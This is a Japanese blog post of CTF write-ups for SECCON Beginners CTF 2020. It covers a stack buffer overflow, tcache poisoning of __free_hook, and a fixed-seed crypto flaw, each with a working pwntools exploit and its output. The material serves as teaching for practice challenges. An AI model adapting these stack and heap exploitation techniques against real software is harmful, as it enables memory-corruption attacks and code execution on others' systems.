TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

SECCON Beginners CTF 2020 Writeup

SECCON Beginners CTF 2020 について

SECCON Beginners CTF 2020 が開催されました。
2020年05月25日午後2時から2020年05月25日の午後2時(24時間)

score.beginners.seccon.jp

久しぶりに チームで CTF に参加しました。 Beginnersなので難易度は易しめですが、Elementary Stack(Pwn)にはまってしまい、いつの間にか大会が終わってました。 メンバが7問解いてくれて、結果は、74/1009位、1395 点でした。私も実際に3問解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20200525032937p:plain

SECCON Beginners CTF 2020 Writeup(3問)

Beginner's Stack (Pwn)

問題

Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001

添付ファイル

  • chall

解答例

まずは、file と checksec でファイルを確認してみます。

$ file ./chall 
./chall: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
$ checksec ./chall 
[*] '/root/workdir2/beginners_stack/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

次に実行してみました。

$ ./chall 
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fffffffe220 | 0x0000000000400b60 | <-- buf
                   +--------------------+
0x00007fffffffe228 | 0x00007ffff7dd59d0 |
                   +--------------------+
0x00007fffffffe230 | 0x00007ffff7fed740 |
                   +--------------------+
0x00007fffffffe238 | 0x00007ffff7ffe1c8 |
                   +--------------------+
0x00007fffffffe240 | 0x00007fffffffe250 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fffffffe248 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007fffffffe250 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007fffffffe258 | 0x00007ffff7a32f45 | <-- return address (main)
                   +--------------------+
0x00007fffffffe260 | 0x00007fffffffe338 |
                   +--------------------+
0x00007fffffffe268 | 0x00007fffffffe338 |
                   +--------------------+

Input:

BOFでリターンアドレスを書き換えて、win 関数を呼び出せばよさそうです。 実行時にスタックが表示されてましたが、一応 gdbでも確認しました。

gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run

省略

Input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

[-------------------------------------code-------------------------------------]
   0x4007e9 <vuln+66>:  call   0x4008da <__show_stack>
   0x4007ee <vuln+71>:  nop
   0x4007ef <vuln+72>:  leave  
=> 0x4007f0 <vuln+73>:  ret    
   0x4007f1 <main>:     push   rbp
   0x4007f2 <main+1>:   mov    rbp,rsp
   0x4007f5 <main+4>:   mov    rax,QWORD PTR [rip+0x201894]        # 0x602090 <stdin@@GLIBC_2.2.5>
   0x4007fc <main+11>:  mov    esi,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe208 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0008| 0x7fffffffe210 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0016| 0x7fffffffe218 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0024| 0x7fffffffe220 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0032| 0x7fffffffe228 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0040| 0x7fffffffe230 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0048| 0x7fffffffe238 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
0056| 0x7fffffffe240 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004007f0 in vuln ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2
AA0AAFAAbAA1AAGAAcAA2 found at offset: 40

オフセットが40だと分かりました。あとは、win関数を呼び出すように調整するだけです。 アラインメントの問題があるため、win 関数実行前に ret gadget を呼び出すことにだけ注意します。

ROP EmporiumのBeginner's Guideより

The MOVAPS issue
If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./chall"
LIBC = ""
HOST = "bs.quals.beginners.seccon.jp"
PORT = 9001

GDB_SCRIPT = """
    break main
    continue
"""

def exploit(io, elf, libc, rop):
    rop.raw(rop.find_gadget(["ret"]))
    rop.call(b"win")
    log.info(rop.dump())

    offset = 40
    payload = b'A' * offset
    payload += rop.chain()
    log.info('payload: {}'.format(payload))
    io.sendlineafter('Input: ', payload)

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'])

    elf = ELF(FILE)
    rop = ROP(elf)

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if LIBC != '' else None
    else:
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()

実行すると、shell を取ることができました。

$ python3 exploit.py REMOTE
[*] '/root/workdir2/beginners_stack/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] Loaded cached gadgets for './chall'
[+] Opening connection to bs.quals.beginners.seccon.jp on port 9001: Done
[*] 0x0000:         0x400626 ret
    0x0008:         0x400861 b'win'()
    0x0010:      b'eaaafaaa' <pad>
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&\x06@\x00\x00\x00\x00\x00a\x08@\x00\x00\x00\x00\x00eaaafaaa'
[*] Switching to interactive mode

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe7cf471d0 | 0x4141414141414141 | <-- buf
                   +--------------------+
0x00007ffe7cf471d8 | 0x4141414141414141 |
                   +--------------------+
0x00007ffe7cf471e0 | 0x4141414141414141 |
                   +--------------------+
0x00007ffe7cf471e8 | 0x4141414141414141 |
                   +--------------------+
0x00007ffe7cf471f0 | 0x4141414141414141 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe7cf471f8 | 0x0000000000400626 | <-- return address (vuln)
                   +--------------------+
0x00007ffe7cf47200 | 0x0000000000400861 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe7cf47208 | 0x6161616661616165 | <-- return address (main)
                   +--------------------+
0x00007ffe7cf47210 | 0x000000000000000a |
                   +--------------------+
0x00007ffe7cf47218 | 0x00007ffe7cf472e8 |
                   +--------------------+

Congratulations!
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

FLAG

ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Beginner's Heap (Pwn)

問題

Let's learn how to abuse heap overflow!
nc bh.quals.beginners.seccon.jp 9002

解答例

netcat で接続すると、以下のように表示されました。

$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7fa4422028e8
 <win>: 0x56267677f465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 

6 を入力すると、ヒントが表示されるので、ヒント通りに作業を進めていきます。

  1. malloc() -> free() で tcache に入れる。
  2. ヒープオーバフローでチャンクサイズとtcache が指しているアドレスを __free_hook() のアドレスに書き換える(tcache の末尾に追加される)。

    Address Data
    0x0000564f61db0330 0x4141414141414141
    0x0000564f61db0338 0x4141414141414141
    0x0000564f61db0340 0x4141414141414141
    0x0000564f61db0348 0x0000000000000030
    0x0000564f61db0350 0x00007f2d4a4f08e8
  3. malloc() -> free() で tcache から一つ取り出して、リストをずらす。

  4. もう一度 malloc() すると、__free_hook のアドレスにメモリが確保されるので、win() のアドレスを書き込む。
  5. free() すると、__free_hook() が呼び出されるが、win のアドレスに書き換えられているため、win()が呼び出される。

上記の手順通りに入力するスクリプトを作成しました。実行速度が速いとうまく動かない場合があったので、適当にsleepを入れました。

#!/usr/bin/env python3
from pwn import *
from time import sleep

ARCH = "amd64"
HOST = "bh.quals.beginners.seccon.jp"
PORT = 9002

def readA(io, data):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'1')
    io.sendline(data)
    log.info('read(0, A, 0x80);\ndata: {}\nlen: {}'.format(data, len(data)))
    sleep(1)

def mallocB_readB(io, data):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'2')
    io.sendline(data)
    log.info('B = malloc(0x18); read(0, B, 0x18);\ndata: {}\nlen: {}'.format(data, len(data)))
    sleep(1)

def freeB(io):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'3')
    log.info('free(B); B = NULL;')
    sleep(1)

def describe_heap(io):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'4')
    output = io.readuntil('1. read(0, A, 0x80);')[:-20].decode()
    log.info('Describe heap\n{}'.format(output))
    sleep(1)

def describe_tcache(io):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'5')
    output = io.readuntil('1. read(0, A, 0x80);')[:-20].decode()
    log.info('Describe tcache (for size 0x20)\n{}'.format(output))
    sleep(1)

def hint(io):
    io.readuntil('6. Currently available hint')
    io.sendlineafter('> ', b'6')
    output = io.readuntil('1. read(0, A, 0x80);')[:-20].decode()
    log.info('Currently available hint\n{}'.format(output))
    sleep(1)

def get_free_hook(io):
    io.readuntil('<__free_hook>: ')
    output = io.readuntil('\n')
    free_hook = int(output.decode(), 16)
    log.info('__free_hook: {}'.format(hex(free_hook)))
    sleep(1)
    return free_hook

def get_win(io):
    io.readuntil('<win>: ')
    output = io.readuntil('\n')
    win = int(output.decode(), 16)
    log.info('win: {}'.format(hex(win)))
    sleep(1)
    return win

def exploit(io):
    free_hook = get_free_hook(io)
    win = get_win(io)

    describe_heap(io)
    describe_tcache(io)
    hint(io)

    mallocB_readB(io, b'A')
    freeB(io)
    readA(io, b'A' * 24 + pack(0x30) + pack(free_hook))

    describe_heap(io)
    describe_tcache(io)
    hint(io)

    mallocB_readB(io, b'A')
    freeB(io)

    describe_tcache(io)
    hint(io)

    mallocB_readB(io, pack(win))
    describe_tcache(io)
    hint(io)

    freeB(io)

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')
    io = remote(HOST, PORT)
    exploit(io)
    io.interactive()

if __name__ == '__main__':
    main()

実行すると、フラグが表示されます。

$ python exploit.py 
[+] Opening connection to bh.quals.beginners.seccon.jp on port 9002: Done
[*] __free_hook: 0x7f0194b978e8
[*] win: 0x5605ca09c465
[*] Describe heap
    -=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
     [+] A = 0x5605cb459330
     [+] B = (nil)
    
                       +--------------------+
    0x00005605cb459320 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459328 | 0x0000000000000021 |
                       +--------------------+
    0x00005605cb459330 | 0x0000000000000000 | <-- A
                       +--------------------+
    0x00005605cb459338 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459340 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459348 | 0x0000000000020cc1 |
                       +--------------------+
    0x00005605cb459350 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459358 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459360 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459368 | 0x0000000000000000 |
                       +--------------------+
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] Describe tcache (for size 0x20)
    -=-=-=-=-= TCACHE -=-=-=-=-=
    [    tcache (for 0x20)    ]
            ||
            \/
    [      END OF TCACHE      ]
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Currently available hint
    Tcache manages freed chunks in linked lists by size.
    Every list can keep up to 7 chunks.
    A freed chunk linked to tcache has a pointer (fd) to the previously freed chunk.
    Let's check what happens when you overwrite fd by Heap Overflow.
    
[*] B = malloc(0x18); read(0, B, 0x18);
    data: b'A'
    len: 1
[*] free(B); B = NULL;
[*] read(0, A, 0x80);
    data: b'AAAAAAAAAAAAAAAAAAAAAAAA0\x00\x00\x00\x00\x00\x00\x00\xe8x\xb9\x94\x01\x7f\x00\x00'
    len: 40
[*] Describe heap
    -=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
     [+] A = 0x5605cb459330
     [+] B = (nil)
    
                       +--------------------+
    0x00005605cb459320 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459328 | 0x0000000000000021 |
                       +--------------------+
    0x00005605cb459330 | 0x4141414141414141 | <-- A
                       +--------------------+
    0x00005605cb459338 | 0x4141414141414141 |
                       +--------------------+
    0x00005605cb459340 | 0x4141414141414141 |
                       +--------------------+
    0x00005605cb459348 | 0x0000000000000030 |
                       +--------------------+
    0x00005605cb459350 | 0x00007f0194b978e8 |
                       +--------------------+
    0x00005605cb459358 | 0x000000000000000a |
                       +--------------------+
    0x00005605cb459360 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459368 | 0x0000000000020ca1 |
                       +--------------------+
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] Describe tcache (for size 0x20)
    -=-=-=-=-= TCACHE -=-=-=-=-=
    [    tcache (for 0x20)    ]
            ||
            \/
    [ 0x00005605cb459350(rw-) ]
            ||
            \/
    [ 0x00007f0194b978e8(rw-) ]
            ||
            \/
    [      END OF TCACHE      ]
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Currently available hint
    It seems __free_hook is successfully linked to tcache!
    And the chunk size is properly forged!
    
[*] B = malloc(0x18); read(0, B, 0x18);
    data: b'A'
    len: 1
[*] free(B); B = NULL;
[*] Describe tcache (for size 0x20)
    -=-=-=-=-= TCACHE -=-=-=-=-=
    [    tcache (for 0x20)    ]
            ||
            \/
    [ 0x00007f0194b978e8(rw-) ]
            ||
            \/
    [      END OF TCACHE      ]
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Currently available hint
    It seems __free_hook is successfully linked to tcache!
    The first link of tcache is __free_hook!
    Also B is empty! You know what to do, right?
    
[*] B = malloc(0x18); read(0, B, 0x18);
    data: b'e\xc4\t\xca\x05V\x00\x00'
    len: 8
[*] Describe tcache (for size 0x20)
    -=-=-=-=-= TCACHE -=-=-=-=-=
    [    tcache (for 0x20)    ]
            ||
            \/
    [      END OF TCACHE      ]
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Currently available hint
    It seems you did everything right!
    `free` is now equivalent to `win`
    
[*] free(B); B = NULL;
[*] Switching to interactive mode
Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

FLAG

ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

Noisy equations (Crypto)

問題

noise hides flag.
nc noisy-equations.quals.beginners.seccon.jp 3000
noisy-equations.zip

添付ファイル

  • problem.py

解答例

ファイルを確認すると、problem.py というPythonスクリプトが入っていました。

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

上記のスクリプトを読み取ると、以下のような感じの行列式で表せます(フラグの文字数が3の場合)。

f:id:tsalvia:20200525091551p:plain

  • a ~ i は、coeffs(係数)
  • s1 ~ s3 は、フラグ文字
  • n1 ~ n3 は、ランダムなノイズ
  • y1 ~ y3 は、answers(計算結果)

SEED値は、常に固定なので、上記のスクリプトを2回実行して引いてあげれば打ち消すことができます。

f:id:tsalvia:20200525095215p:plain

上記の通り計算するスクリプトを作成しました。

#!/usr/bin/env python3
from pwn import *
import numpy as np

HOST = 'noisy-equations.quals.beginners.seccon.jp'
PORT = 3000

def get_params():
    context.log_level = 'WARN'
    if args['REMOTE']:
        io = remote(HOST, PORT)
    else:
        io = process(['python3', 'problem.py'])
    coeffs = eval(io.readline().strip())
    answers = eval(io.readline().strip())
    io.close()

    answers_matrix = []
    for i in answers:
        answers_matrix.append([i])
    return coeffs, answers_matrix

def main():
    coeffs_1, answers_1 = get_params()
    coeffs_2, answers_2 = get_params()

    C_1 = np.matrix(coeffs_1, dtype='float64') # 桁が大きいので float64 として扱う
    C_2 = np.matrix(coeffs_2, dtype='float64')
    Y_1 = np.matrix(answers_1, dtype='float64')
    Y_2 = np.matrix(answers_2, dtype='float64')

    S = np.linalg.inv(C_1 - C_2) * (Y_1 - Y_2)
    S = np.rint(S) # 計算結果に多少誤差が出るので、四捨五入する
    S = S.astype(int)

    flag = ''.join([chr(c) for c in S])
    print('flag: {}'.format(flag))

if __name__ == '__main__':
    main()

実行すると、フラグが表示されます。

$ python3 solve.py REMOTE
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

FLAG

ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}